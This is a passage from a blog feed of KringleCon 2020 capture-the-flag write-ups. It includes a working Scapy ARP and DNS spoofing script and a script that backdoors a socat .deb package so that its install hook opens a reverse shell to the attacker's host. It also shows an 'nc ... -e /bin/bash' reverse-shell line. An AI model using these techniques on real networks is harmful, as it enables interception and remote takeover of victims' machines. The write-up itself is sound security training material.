&lt;/span>&lt;span class="ln"> 2&lt;/span>&lt;span class="nv">PATH&lt;/span>&lt;span class="o">=&lt;/span>/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
&lt;span class="ln"> 3&lt;/span>&lt;span class="nv">HOSTNAME&lt;/span>&lt;span class="o">=&lt;/span>cbf2810b7573
&lt;span class="ln"> 4&lt;/span>&lt;span class="nv">RUBY_MAJOR&lt;/span>&lt;span class="o">=&lt;/span>2.7
&lt;span class="ln"> 5&lt;/span>&lt;span class="nv">RUBY_VERSION&lt;/span>&lt;span class="o">=&lt;/span>2.7.0
&lt;span class="ln"> 6&lt;/span>&lt;span class="nv">RUBY_DOWNLOAD_SHA256&lt;/span>&lt;span class="o">=&lt;/span>27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343
&lt;span class="ln"> 7&lt;/span>&lt;span class="nv">GEM_HOME&lt;/span>&lt;span class="o">=&lt;/span>/usr/local/bundle
&lt;span class="ln"> 8&lt;/span>&lt;span class="nv">BUNDLE_SILENCE_ROOT_WARNING&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="m">1&lt;/span>
&lt;span class="ln"> 9&lt;/span>&lt;span class="nv">BUNDLE_APP_CONFIG&lt;/span>&lt;span class="o">=&lt;/span>/usr/local/bundleA
&lt;span class="ln">10&lt;/span>&lt;span class="nv">PP_HOME&lt;/span>&lt;span class="o">=&lt;/span>/app
&lt;span class="ln">11&lt;/span>&lt;span class="nv">PORT&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="nv">4141HOST&lt;/span>&lt;span class="o">=&lt;/span>0.0.0.0
&lt;span class="hl">&lt;span class="ln">12&lt;/span>&lt;span class="nv">GREETZ&lt;/span>&lt;span class="o">=&lt;/span>JackFrostWasHere
&lt;/span>&lt;span class="ln">13&lt;/span>&lt;span class="nv">HOME&lt;/span>&lt;span class="o">=&lt;/span>/home/app
&lt;/code>&lt;/pre>&lt;/div>&lt;p>There it is, the solution to Objective 8: &lt;code>JackFrostWasHere&lt;/code>!&lt;/p>
&lt;p>Quite unintentionally, I also find the same value saved to a TXT file in &lt;code>/tmp/greetz.txt&lt;/code>. At first, I think that it was left there by a fellow HHC contestant, but later on the CHC folks confirmed that it was indeed &lt;code>Jack&lt;/code> himself!&lt;/p>
&lt;p>Anyhow, on to the next one! 😎&lt;/p></description></item><item><title>ARP Shenanigans</title><link>https://flrnks.netlify.app/tutorials/kringlecon2020/objective9/</link><pubDate>Sun, 27 Dec 2020 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2020/objective9/</guid><description>&lt;p>&lt;img src="../images/obj9/objective9.png" alt="Objective9">&lt;/p>
&lt;p>After solving the Tag Generator objective, I head back to the NetWars room to help &lt;code>Alabaster Snowball&lt;/code> with his Scapy Terminal, in exchange for hints:&lt;/p>
&lt;p>&lt;img src="../images/obj9/alabaster-snowball.png" alt="Alabaster Snowball">&lt;/p>
&lt;blockquote>
&lt;p>Hey Santa! You&amp;rsquo;ve got to check out our Scapy Present Packet Prepper!
Please work through the whole thing to make sure it&amp;rsquo;s helpful for our guests!
I made it so that players can help() to see how to get tasks and hints.
When you&amp;rsquo;re done, maybe you can help me with this other issue I&amp;rsquo;m having.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;img src="../images/obj9/scapy-win.png" alt="Terminal Scapy">&lt;/p>
&lt;p>The exact commands I enter can be found
&lt;a href="../files/obj9/scapy.py">HERE&lt;/a>. They are just wonderful for refreshing my Python/Scapy skillz ahead of the main objective. Next, I get some real good hints from &lt;code>Alabaster&lt;/code>:&lt;/p>
&lt;blockquote>
&lt;p>Oh, I see the Scapy Present Packet Prepper has already been completed!
Now you can help me get access to this machine.
It seems that some interloper here at the North Pole has taken control of the host.
We need to regain access to some important documents associated with Kringle Castle.
Maybe we should try a machine-in-the-middle attack?
That could give us access to manipulate DNS responses.
But we&amp;rsquo;ll still need to cook up something to change the HTTP response.
I&amp;rsquo;m sure glad you&amp;rsquo;re here Santa.&lt;/p>
&lt;/blockquote>
&lt;p>With the following hints appearing in the badge:&lt;/p>
&lt;ul>
&lt;li>Jack Frost must have gotten malware on our host at &lt;code>10.6.6.35&lt;/code> because we can no longer access it&lt;/li>
&lt;li>Try sniffing the eth0 interface using &lt;code>tcpdump -nni eth0&lt;/code> to see if you can view any traffic from that host.&lt;/li>
&lt;li>Hmmm, looks like the host does a DNS request after you successfully do an ARP spoof. Let&amp;rsquo;s return a DNS response resolving the request to our IP.&lt;/li>
&lt;li>The host is performing an ARP request. Perhaps we could do a spoof to perform a &lt;code>machine-in-the-middle&lt;/code> attack. I think we have some sample scapy traffic scripts that could help you in &lt;code>/home/guest/scripts&lt;/code>.&lt;/li>
&lt;li>The malware on the host does an HTTP request for a .deb package. Maybe we can get command line access by sending it a
&lt;a href="http://www.wannescolman.be/?p=98" target="_blank" rel="noopener">command in a customized .deb file&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>First I spend some time wrapping my head around the overall design of this challenge. I end up crafting the below diagram to help with this:&lt;/p>
&lt;p>&lt;img src="../images/obj9/exploit-overview.png" alt="Exploit Architecture">&lt;/p>
&lt;p>Arrows are explained below:&lt;/p>
&lt;ol>
&lt;li>The victim (right) sends an ARP request every second to find the MAC of IP: &lt;strong>10.6.6.53&lt;/strong> (supposedly a local DNS server)&lt;/li>
&lt;li>As the attacker (left) I spoof the ARP response with my own MAC: &lt;strong>4c:24:57🆎ed:84&lt;/strong>&lt;/li>
&lt;li>The victim starts sending DNS queries asking for the IP address of: &lt;strong>ftp.osuosl.org&lt;/strong>&lt;/li>
&lt;li>As the attacker I craft spoofed DNS responses to answer these queries with my own IP: &lt;strong>10.6.6.35&lt;/strong>&lt;/li>
&lt;li>The victim tries to fetch resource &lt;code>/pub/jfrost/backdoor/suriv_amd64.deb&lt;/code> via an HTTP request&lt;/li>
&lt;li>As the attacker I have a custom HTTP server that returns a backdoored version of &lt;code>netcat&lt;/code>&lt;/li>
&lt;li>The victim installs this package which starts a reverse shell session via &lt;code>nc 10.6.6.35 4444 -e /bin/bash&lt;/code>&lt;/li>
&lt;li>As the attacker I start a local listener via &lt;code>nc -lvp 4444&lt;/code> to accept the reverse shell connection to exfil the document&lt;/li>
&lt;/ol>
&lt;p>Modifying the provided python scripts to achieve the ARP spoofing is quite straightforward. The DNS part requires a bit more effort, but the provided pcap examples help a lot:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="ln"> 1&lt;/span>&lt;span class="ch">#!/usr/bin/python3&lt;/span>
&lt;span class="ln"> 2&lt;/span>&lt;span class="kn">from&lt;/span> &lt;span class="nn">scapy.all&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;span class="ln"> 3&lt;/span>&lt;span class="kn">import&lt;/span> &lt;span class="nn">netifaces&lt;/span> &lt;span class="kn">as&lt;/span> &lt;span class="nn">ni&lt;/span>
&lt;span class="ln"> 4&lt;/span>&lt;span class="kn">import&lt;/span> &lt;span class="nn">uuid&lt;/span>
&lt;span class="ln"> 5&lt;/span>
&lt;span class="ln"> 6&lt;/span>&lt;span class="n">ipaddr&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ni&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">ifaddresses&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;eth0&amp;#39;&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="n">ni&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">AF_INET&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="s1">&amp;#39;addr&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;span class="ln"> 7&lt;/span>&lt;span class="n">macaddr&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;:&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="s1">&amp;#39;{:02x}&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="n">uuid&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">getnode&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="mh">0xff&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">)][::&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">])&lt;/span>
&lt;span class="ln"> 8&lt;/span>&lt;span class="n">spoofed_ip&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;10.6.6.53&amp;#34;&lt;/span>
&lt;span class="ln"> 9&lt;/span>&lt;span class="n">spoofed_domain&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;ftp.osuosl.org&amp;#39;&lt;/span>
&lt;span class="ln">10&lt;/span>
&lt;span class="ln">11&lt;/span>&lt;span class="k">def&lt;/span> &lt;span class="nf">handle_pkt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">packet&lt;/span>&lt;span class="p">):&lt;/span>
&lt;span class="ln">12&lt;/span> &lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">None&lt;/span>
&lt;span class="ln">13&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="n">ARP&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">packet&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">packet&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">ARP&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">op&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="ln">14&lt;/span> &lt;span class="k">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="s2">&amp;#34;Spoofed APR response for {spoofed_ip} with own MAC {macaddr}&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="ln">15&lt;/span> &lt;span class="n">ether_resp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Ether&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">dst&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">packet&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hwsrc&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">type&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mh">0x806&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">src&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">macaddr&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="hl">&lt;span class="ln">16&lt;/span> &lt;span class="n">arp_response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ARP&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">op&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">hwsrc&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">macaddr&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">hwdst&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">packet&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hwsrc&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">psrc&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">spoofed_ip&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">pdst&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;10.6.6.35&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;span class="ln">17&lt;/span> &lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ether_resp&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="n">arp_response&lt;/span>
&lt;span class="ln">18&lt;/span> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="ln">19&lt;/span> &lt;span class="k">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="s2">&amp;#34;Spoofed DNS response for {spoofed_domain} with own IP {ipaddr}&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="ln">20&lt;/span> &lt;span class="n">eth&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Ether&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">src&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">macaddr&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">dst&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">packet&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">Ether&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">src&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="ln">21&lt;/span> &lt;span class="n">ip&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">IP&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">dst&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">packet&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">IP&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">src&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">src&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">spoofed_ip&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="ln">22&lt;/span> &lt;span class="n">udp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">UDP&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">dport&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">packet&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">UDP&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sport&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">sport&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">packet&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">UDP&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dport&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="ln">23&lt;/span> &lt;span class="n">dns&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">DNS&lt;/span>&lt;span class="p">(&lt;/span>
&lt;span class="hl">&lt;span class="ln">24&lt;/span> &lt;span class="nb">id&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">packet&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">DNS&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">id&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">rd&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">qdcount&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ancount&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">qr&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ra&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">qd&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">packet&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">DNS&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">qd&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;span class="hl">&lt;span class="ln">25&lt;/span> &lt;span class="n">an&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">DNSRR&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">rrname&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;ftp.osuosl.org&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">type&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;A&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">rclass&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;IN&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">rdata&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">ipaddr&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ttl&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">82159&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;span class="ln">26&lt;/span> &lt;span class="p">)&lt;/span>
&lt;span class="ln">27&lt;/span> &lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">eth&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="n">ip&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="n">udp&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="n">dns&lt;/span>
&lt;span class="ln">28&lt;/span> &lt;span class="n">sendp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">response&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">iface&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;eth0&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">verbose&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="ln">29&lt;/span>
&lt;span class="ln">30&lt;/span>&lt;span class="k">def&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">():&lt;/span>
&lt;span class="ln">31&lt;/span> &lt;span class="n">berkeley_packet_filter&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;(&amp;#34;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s2">&amp;#34; and &amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">([&lt;/span>
&lt;span class="ln">32&lt;/span> &lt;span class="s2">&amp;#34;udp dst port 53&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;udp[10] &amp;amp; 0x80 = 0&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;dst host {}&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">spoofed_ip&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="s2">&amp;#34;ether dst host {}&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">macaddr&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="ln">33&lt;/span> &lt;span class="p">])&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s2">&amp;#34;) or (arp[6:2] = 1)&amp;#34;&lt;/span>
&lt;span class="ln">34&lt;/span> &lt;span class="n">sniff&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">filter&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">berkeley_packet_filter&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">prn&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">handle_pkt&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">store&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">iface&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;eth0&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">count&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="ln">35&lt;/span>
&lt;span class="ln">36&lt;/span>&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;__main__&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="ln">37&lt;/span> &lt;span class="n">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, following this
&lt;a href="http://www.wannescolman.be/?p=98" target="_blank" rel="noopener">guide&lt;/a> I create the &lt;strong>backdoored&lt;/strong> .deb package which will be served by my rogue web server. It is rather straightforward as I can reuse one of the existing packages on the terminal.&lt;/p>
&lt;p>First, I make it work via &lt;code>netcat&lt;/code> but then I change to &lt;code>socat&lt;/code> because it&amp;rsquo;s able to establish a full-featured &lt;strong>TTY&lt;/strong> instead of just the text output of the typed commands.
&lt;a href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/" target="_blank" rel="noopener">This link&lt;/a> offers great tips on setting up both netcat and socat in reverse shells!&lt;/p>
&lt;p>To make it repeatable, I craft the below script that takes care of every step, including the creation of the backdoored package, the starting of the ARP &amp;amp; DNS spoofing script, the starting of the web server and finally starting the &lt;code>socat&lt;/code> listener for accepting the reverse shell:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="ln"> 1&lt;/span>dpkg -x debs/socat_1.7.3.3-2_amd64.deb socat
&lt;span class="ln"> 2&lt;/span>ar -x debs/socat_1.7.3.3-2_amd64.deb
&lt;span class="ln"> 3&lt;/span>tar -xf control.tar.xz
&lt;span class="ln"> 4&lt;/span>rm control.tar.xz data.tar.xz debian-binary md5sums
&lt;span class="ln"> 5&lt;/span>
&lt;span class="ln"> 6&lt;/span>mkdir socat/DEBIAN
&lt;span class="ln"> 7&lt;/span>mv control socat/DEBIAN/
&lt;span class="ln"> 8&lt;/span>touch socat/DEBIAN/postinst
&lt;span class="ln"> 9&lt;/span>chmod &lt;span class="m">775&lt;/span> socat/DEBIAN/postinst
&lt;span class="ln">10&lt;/span>&lt;span class="nv">LOCAL_IP&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="sb">`&lt;/span>ifconfig &lt;span class="p">|&lt;/span> grep -Eo &lt;span class="s1">&amp;#39;inet (addr:)?([0-9]*\.){3}[0-9]*&amp;#39;&lt;/span> &lt;span class="p">|&lt;/span> grep -Eo &lt;span class="s1">&amp;#39;([0-9]*\.){3}[0-9]*&amp;#39;&lt;/span> &lt;span class="p">|&lt;/span> grep -v &lt;span class="s1">&amp;#39;127.0.0.1&amp;#39;&lt;/span>&lt;span class="sb">`&lt;/span>
&lt;span class="ln">11&lt;/span>&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;socat exec:&amp;#39;bash -li&amp;#39;,pty,stderr,setsid,sigint,sane tcp:&lt;/span>&lt;span class="si">${&lt;/span>&lt;span class="nv">LOCAL_IP&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">:4444&amp;#34;&lt;/span> &amp;gt;&amp;gt; socat/DEBIAN/postinst
&lt;span class="hl">&lt;span class="ln">12&lt;/span>dpkg-deb --build ./socat/
&lt;/span>&lt;span class="hl">&lt;span class="ln">13&lt;/span>
&lt;/span>&lt;span class="ln">14&lt;/span>mkdir -p pub/jfrost/backdoor
&lt;span class="ln">15&lt;/span>mv socat.deb pub/jfrost/backdoor/suriv_amd64.deb
&lt;span class="ln">16&lt;/span>
&lt;span class="ln">17&lt;/span>python3 -m http.server &lt;span class="m">80&lt;/span> &lt;span class="p">&amp;amp;&lt;/span>&amp;gt;/dev/null &lt;span class="p">&amp;amp;&lt;/span> python3 spoof.py &lt;span class="p">&amp;amp;&lt;/span>&amp;gt;/dev/null &lt;span class="p">&amp;amp;&lt;/span>
&lt;span class="ln">18&lt;/span>
&lt;span class="ln">19&lt;/span>socat file:&lt;span class="sb">`&lt;/span>tty&lt;span class="sb">`&lt;/span>,raw,echo&lt;span class="o">=&lt;/span>&lt;span class="m">0&lt;/span> tcp-listen:4444
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Finally, I am able to open a full-featured TTY reverse shell and open the txt file to get the answer:&lt;/p>
&lt;p>&lt;img src="../images/obj9/recusal.png" alt="Recusal-Solution">&lt;/p>
&lt;p>On to the next one! 😎&lt;/p></description></item><item><title>ARP Shenanigans</title><link>https://flrnks.netlify.app/tutorials/kringlecon2020/objective10/</link><pubDate>Sun, 27 Dec 2020 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2020/objective10/</guid><description>&lt;p>&lt;img src="../images/obj10/objective10.png" alt="Objective10">&lt;/p>
&lt;p>Initially, I have absolutely no clue how to get started on this. The description does not mention any elf to get hints, as for most previous challenges. I check Discord where I see a suggestion to solve the &lt;code>Elf Code&lt;/code> terminal next to &lt;code>Ribb Bonbowford&lt;/code> so I proceed with that:&lt;/p>
&lt;blockquote>
&lt;p>Hello - my name is Ribb Bonbowford. Nice to meet you!
Are you new to programming? It&amp;rsquo;s a handy skill for anyone in cyber security.
This challenge centers around JavaScript. Take a look at this intro and see how far it gets you!
Ready to move beyond elf commands? Don&amp;rsquo;t be afraid to mix in native JavaScript.&lt;/p>
&lt;/blockquote>
&lt;p>The game itself is quite simple at first:&lt;/p>
&lt;p>&lt;img src="../images/obj10/elfcode-lvl1.png" alt="ElfCode Level 1">&lt;/p>
&lt;p>The task is to use the character to collect all lollipops by solving challenges to unlock trapdoors and bribe munchkins. My workspace is a small text window where I can write JavaScript code, to give instructions to the character. &lt;code>Ribb&lt;/code> has some further helpful thoughts to share:&lt;/p>
&lt;blockquote>
&lt;p>Trying to extract only numbers from an array? Have you tried to filter?
Maybe you need to enumerate an object&amp;rsquo;s keys and then filter?
Getting hung up on number of lines? Maybe try to minify your code.
Is there a way to push array items to the beginning of an array? Hmm&amp;hellip;
Maybe you need to enumerate an object&amp;rsquo;s keys and then filter?
Getting hung up on number of lines? Maybe try to minify your code.
Is there a way to push array items to the beginning of an array? Hmm&amp;hellip;&lt;/p>
&lt;/blockquote>
&lt;p>Plus a few useful links that appeared in the badge:&lt;/p>
&lt;ul>
&lt;li>Want to learn a useful language?
&lt;a href="https://jgthms.com/javascript-in-14-minutes/" target="_blank" rel="noopener">JavaScript&lt;/a> is a great place to start! You can also test out your code using a
&lt;a href="https://playcode.io/" target="_blank" rel="noopener">JavaScript playground&lt;/a>.&lt;/li>
&lt;li>Did you try the JavaScript primer? There&amp;rsquo;s a great section on looping.&lt;/li>
&lt;li>
&lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray/filter" target="_blank" rel="noopener">There&amp;rsquo;s got to be a way&lt;/a> to filter for specific typeof
&lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray/filter" target="_blank" rel="noopener">items in an array&lt;/a>. Maybe the
&lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof" target="_blank" rel="noopener">typeof operator could also be useful&lt;/a>?&lt;/li>
&lt;li>
&lt;a href="https://stackoverflow.com/questions/9907419/how-to-get-a-key-in-a-javascript-object-by-its-value" target="_blank" rel="noopener">In JavaScript you can enumerate an object&amp;rsquo;s keys using keys, and filter the array using filter&lt;/a>.&lt;/li>
&lt;/ul>
&lt;p>At first, I am not really getting the hang of it, but by the time I reach Level 4-5 I realize that it&amp;rsquo;s actually a pretty nice game that forces me to think about efficient solutions. Below is my code for the last two bonus levels:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="c1">// ---------Level 7 - Spiral -------- //
&lt;/span>&lt;span class="c1">&lt;/span>&lt;span class="kd">function&lt;/span> &lt;span class="nx">sum&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">dataa&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;span class="kd">var&lt;/span> &lt;span class="nx">sum&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
